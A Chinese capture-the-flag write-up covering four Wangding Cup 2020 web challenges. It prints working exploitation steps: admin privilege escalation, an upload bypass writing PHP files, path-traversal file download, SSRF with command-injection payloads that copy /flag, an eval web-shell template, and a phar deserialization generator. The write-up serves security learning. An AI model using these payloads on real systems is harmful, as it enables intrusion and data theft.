网鼎杯2020线下web

原文:http://w4nder.top/?p=364

[网鼎杯 2020 半决赛]faka

给了sql文件,本地导入一下可以看到admin的md5密码

图片

解密得到密码:

admincccbbb123

这里还有一种方法:

/admin/Index/info处未授权访问

图片

可以直接添加后台用户,但是不是超级管理员,数据库中注意到admin的authorize为3,那么直接在post中添加&authorize=3即可添加超级管理员

图片

后台登陆后找文件上传点

https://xz.aliyun.com/t/7838

抓个包

图片

它会根据随机传入的md5和文件名生成一个token

public function upstate()
{
    $post = $this->request->post();
    $filename = join('/', str_split($post['md5'], 16)) . '.' . pathinfo($post['filename'], 4);
    // 检查文件是否已上传
    if (($site_url = FileService::getFileUrl($filename))) {
        $this->result(['site_url' => $site_url], 'IS_FOUND');
    }
    // 需要上传文件,生成上传配置参数
    $config = ['uptype' => $post['uptype'], 'file_url' => $filename];
    switch (strtolower($post['uptype'])) {
        case 'qiniu':
            $config['server'] = FileService::getUploadQiniuUrl(true);
            $config['token'] = $this->_getQiniuToken($filename);
            break;
        case 'local':
            $config['server'] = FileService::getUploadLocalUrl();
            $config['token'] = md5($filename . session_id());
            break;
        ...
。        
    }
    $this->result($config, 'NOT_FOUND');
}

token为

md5($filename . session_id())

继续发包,来到文件上传逻辑处
图片

代码

public function upload()
{
    $file = $this->request->file('file');
    $ext = strtolower(pathinfo($file->getInfo('name'), 4));
    $md5 = str_split($this->request->post('md5'), 16);
    $filename = join('/', $md5) . ".{$ext}";
    if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
        return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
    }
    // 文件上传Token验证
    if ($this->request->post('token') !== md5($filename . session_id())) {
        return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
    }
    // 文件上传处理
    if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
        if (($site_url = FileService::getFileUrl($filename, 'local'))) {
            return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
        }
    }
    return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}

其中会验证post的token是否和md5($filename . session_id())相等
filename可控

$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";

所以这个if能绕,跟到$file->move函数

public function move($path, $savename = true, $replace = true)
{
    ...
    $saveName = $this->buildSaveName($savename);
    $filename = $path . $saveName;
    ...
    $file = new self($filename);
    $file->setSaveName($saveName)->setUploadInfo($this->info);
    return $file;
}

$this->buildSaveName获取文件名

protected function buildSaveName($savename)
{
    // 自动生成文件名
    ...
    if (!strpos($savename, '.')) {
        $savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
    }
    return $savename;
}

这个if表示如果name中有点则直接返回,参数$savename是md5[1],也就是说如果md5[1]=xxx.php,那么文件名就为xxx.php
所以,$md5可控,$filename可控,token也可控

step1

图片

step2

图片

图片

或者拿到权限之后直接任意文件下载

/manage/Backup/downloadBak?file=../../../../../../flag.txt

function downloadBak() {
    $file_name = $_GET['file'];
    $file_dir = $this->config['path'];
    if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
        return false;
        exit;
    } else {
        $file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
        // 输入文件标签
        header('Content-Encoding: none');
        header("Content-type: application/octet-stream");
        header("Accept-Ranges: bytes");
        header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
        header('Content-Transfer-Encoding: binary');
        header("Content-Disposition: attachment; filename=" . $file_name);  //以真实文件名提供给浏览器下载
        header('Pragma: no-cache');
        header('Expires: 0');
        //输出文件内容
        echo fread($file, filesize($file_dir . "/" . $file_name));
        fclose($file);
        exit;
    }
}

[网鼎杯 2020 半决赛]BabyJS

主要代码

var blacklist=['127.0.0.1.xip.io','::ffff:127.0.0.1','127.0.0.1','0','localhost','0.0.0.0','[::1]','::1'];
router.get('/debug', function(req, res, next) {
    console.log(req.ip);
    if(blacklist.indexOf(req.ip)!=-1){
        console.log('res');
	var u=req.query.url.replace(/[\"\']/ig,'');
	console.log(url.parse(u).href);
	let log=`echo  '${url.parse(u).href}'>>/tmp/log`;
	console.log(log);
	child_process.exec(log);
	res.json({data:fs.readFileSync('/tmp/log').toString()});
    }else{
        res.json({});
    }
});
router.post('/debug', function(req, res, next) {
    console.log(req.body);
    if(req.body.url !== undefined) {
        var u = req.body.url;
	var urlObject=url.parse(u);
	if(blacklist.indexOf(urlObject.hostname) == -1){
		var dest=urlObject.href;
		request(dest,(err,result,body)=>{
			res.json(body);
		})
	}
	else{
		res.json([]);
	}
	}
});

通过post /debug去ssrf get /debug
get的debug有过滤

var u=req.query.url.replace(/[\"\']/ig,'');

绕黑名单方法很多,参考:
https://www.secpulse.com/archives/65832.html

payload1,单引号二次编码一下绕

{"url":"http://0177.0.0.1:3000/debug?url=http://a%2527@a;cp$IFS/flag$IFS/tmp/log%00"}

图片

payload2

{"url":"http://0177.0.0.1:3000/debug?url=http://%EF%BC%87;cp$IFS/flag$IFS/tmp/log%2500"}

这串解出来正好是一个单引号

%EF%BC%87

造成命令注入
图片

[网鼎杯 2020 总决赛]Novel

大概看一下代码,upload文件上传,back会备份文件,并且这题还实现了一个类似tp的路由,即:

/类/方法/

上传一个txt

${eval($_GET[0])}

备份生成php
图片

图片

[网鼎杯 2020 总决赛]Game Exp

没用的代码很多,主要还是在register.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
if (isset($_POST['username'])){
    include_once "../sqlhelper.php";
    include_once "../user.php";
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    $mysql = new sqlhelper();
    $password = md5($password);
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);        // 获取文件后缀名
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/jpg")
            || ($_FILES["file"]["type"] == "image/pjpeg")
            || ($_FILES["file"]["type"] == "image/x-png")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)    // 小于 200 kb
        && in_array($extension, $allowedExts))
    {
        $filename = $username.".".$extension;
        if (file_exists($filename))
        {
            echo "<script>alert('文件已经存在');</script>";
        }

这个eval太明显了
再加上文件上传处有file_exists判断,并且参数可控

$filename = $username.".".$extension;

phar反序列化

<?php
class AnyClass{
var $output = 'eval($_REQUEST[0]);';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new AnyClass();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename('phar.phar','1.jpg');
?>

上传后再次注册,用户名为phar://./x.jpg/test
图片

posted @ 2020-12-03 11:40  W4nder  阅读(1659)  评论(2编辑  收藏  举报